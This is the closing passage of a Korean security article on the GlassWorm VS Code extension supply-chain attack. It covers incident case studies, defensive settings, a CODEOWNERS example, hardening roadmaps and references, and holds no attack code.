  • 개발 환경 표준화 (Dev Container / Codespace 도입 검토)
  • 확장 프로그램 보안 게이트웨이 구축 (사내 미러 저장소)
  • EDR(Endpoint Detection and Response) 솔루션 개발 장비 배포
  • 정기 보안 감사 프로세스 수립 (분기별)
  • SBOM 생성 및 관리 체계 도입

장기 목표 (3~6개월)

  • 제로 트러스트 개발 환경 아키텍처 도입
  • 하드웨어 보안 키(FIDO2) 기반 인증 전환
  • 클라우드 기반 개발 환경(CDE) 전면 전환 검토
  • 공급망 보안 성숙도 모델 도입 (SLSA Level 3 이상)
  • 보안 챔피언(Security Champion) 프로그램 운영

실패 사례 분석

사례 1: 자동 업데이트로 인한 대규모 감염

한 스타트업에서 전 개발팀(약 50명)이 GlassWorm에 감염된 사례다. 원인은 VS Code의 확장 자동 업데이트 기능이었다. 정상적으로 사용하던 테마 확장이 어느 날 악성 업데이트를 배포했고, 자동 업데이트가 활성화된 모든 개발 장비에 즉시 적용되었다.

교훈: 확장 업데이트는 수동으로 진행하고, 업데이트 전 체인지로그와 코드 변경사항을 검토하는 프로세스가 필요하다.

// 예방 설정
{
  "extensions.autoUpdate": false,
  "extensions.autoCheckUpdates": true
  // autoCheckUpdates는 알림만 제공, 자동 설치하지 않음
}

사례 2: 오픈소스 기여자를 통한 측면 이동

오픈소스 프로젝트의 기여자 한 명이 감염된 후, 해당 프로젝트의 .vscode/extensions.json에 악성 확장이 추가된 사례다. 코드 리뷰어가 이를 "개발 환경 설정 업데이트"로 간주하고 승인한 것이 결정적 실수였다.

교훈: .vscode/ 디렉토리 변경사항에 대해서도 보안 관점의 코드 리뷰가 필요하다.

# CODEOWNERS 파일에 .vscode/ 경로에 대한 보안 리뷰어 지정
# .github/CODEOWNERS
.vscode/ @security-team
.github/workflows/ @security-team @devops-team
package.json @tech-lead @security-team

사례 3: CI/CD 환경으로의 확산

감염된 개발자의 GitHub Token이 CI/CD 파이프라인의 시크릿으로도 사용되고 있었던 사례다. 공격자가 탈취한 토큰으로 GitHub Actions 워크플로우를 수정하여, 빌드 과정에서 추가 악성코드를 주입했다.

교훈: 개인 토큰과 CI/CD 시크릿을 분리하고, CI/CD에는 최소 권한의 전용 서비스 계정을 사용해야 한다.

# 잘못된 사례: 개인 토큰을 CI/CD에 직접 사용
# github-actions workflow 내
# env:
#   GITHUB_TOKEN: 개인 PAT (위험!)

# 올바른 사례: 전용 서비스 계정 + 최소 권한
# 1. CI/CD 전용 GitHub App 생성
# 2. 필요한 최소 권한만 부여 (예: contents:read, packages:write)
# 3. 토큰 자동 갱신 활성화

향후 전망과 대응 방향

VS Code 확장 생태계의 보안 강화 로드맵

Microsoft는 GlassWorm 사건을 계기로 다음과 같은 보안 강화를 예고했다.

  1. 게시자 인증 강화: 조직 인증(Organization Verification) 필수화
  2. 확장 서명 의무화: Sigstore 기반 코드 서명 체계 도입
  3. 권한 모델 도입: 확장의 시스템 접근 권한 세분화
  4. 자동 보안 스캐닝: 게시 전 유니코드 이상 탐지 포함 정적 분석
  5. SBOM 의무화: 확장의 의존성 투명성 확보

개발자가 지금 당장 할 수 있는 것

# 1. 설치된 확장 감사
code --list-extensions --show-versions > ~/my-extensions.txt

# 2. 의심스러운 확장 식별
# 다운로드 수가 적고, 최근 업데이트된 확장에 주의
# Open VSX에서만 제공되는 확장 특히 주의

# 3. VS Code 보안 설정 적용
# settings.json에 아래 설정 추가
code --install-extension ms-vscode.vscode-unicode-highlight

# 4. 정기적 인증정보 로테이션
# GitHub: 90일마다 토큰 갱신
# SSH: 분기별 키 로테이션
# AWS: IAM 정책으로 90일 강제 갱신

참고 자료

  1. The Hacker News - "GlassWorm Malware Infects 72+ Open VSX Extensions in Massive Supply Chain Attack" (March 2026)
  2. SecurityWeek - "Supply Chain Attack Targets VS Code Extensions with Invisible Unicode Obfuscation" (March 2026)
  3. Snyk Blog - "Defending Against GlassWorm: Detection Strategies for Unicode-Based Code Hiding" (March 2026)
  4. Veracode Research - "GlassWorm: The First Self-Propagating VS Code Extension Worm - Technical Analysis" (March 2026)
  5. DarkReading - "Self-Propagating GlassWorm Attacks 151+ GitHub Repos Through VS Code Extensions" (March 2026)
  6. Fluid Attacks Blog - "GlassWorm Supply Chain Attack: Blockchain C2 and Unicode Steganography Deep Dive" (March 2026)
  7. OWASP - "Software Supply Chain Attack Taxonomy and Mitigation" (2025)
  8. NIST - "NIST SP 800-218: Secure Software Development Framework (SSDF)" (2024)
  9. SLSA Framework - "Supply-chain Levels for Software Artifacts" (https://slsa.dev)
  10. Unicode Consortium - "Unicode Variation Sequences" (https://unicode.org/faq/vs.html)

마무리

GlassWorm 공격은 "개발 도구는 안전하다"는 암묵적 신뢰를 완전히 깨뜨렸다. 유니코드 변이 선택자를 활용한 코드 은닉, 블록체인 기반 C2 채널, 자가 전파 메커니즘이라는 세 가지 혁신적 기법의 조합은, 기존 보안 모델로는 탐지와 방어가 근본적으로 어렵다는 사실을 입증했다.

중요한 점은 GlassWorm이 기술적으로 새로운 것이 아니라, 기존에 알려진 기법들의 창의적 조합이라는 것이다. 유니코드 스테가노그래피, 블록체인 C2, 웜 전파는 각각 이미 연구된 기술이지만, 이를 VS Code 확장 생태계라는 비교적 느슨한 보안 환경에 적용한 것이 GlassWorm의 차별점이다.

개발 환경 보안은 더 이상 선택이 아닌 필수다. 이 글에서 제시한 탐지 스크립트, pre-commit 훅, CI/CD 통합 스캔, 조직 보안 체크리스트를 즉시 적용하고, 장기적으로는 제로 트러스트 개발 환경으로의 전환을 계획해야 한다. 공급망 공격은 진화를 멈추지 않으며, 방어 역시 끊임없이 진화해야 한다.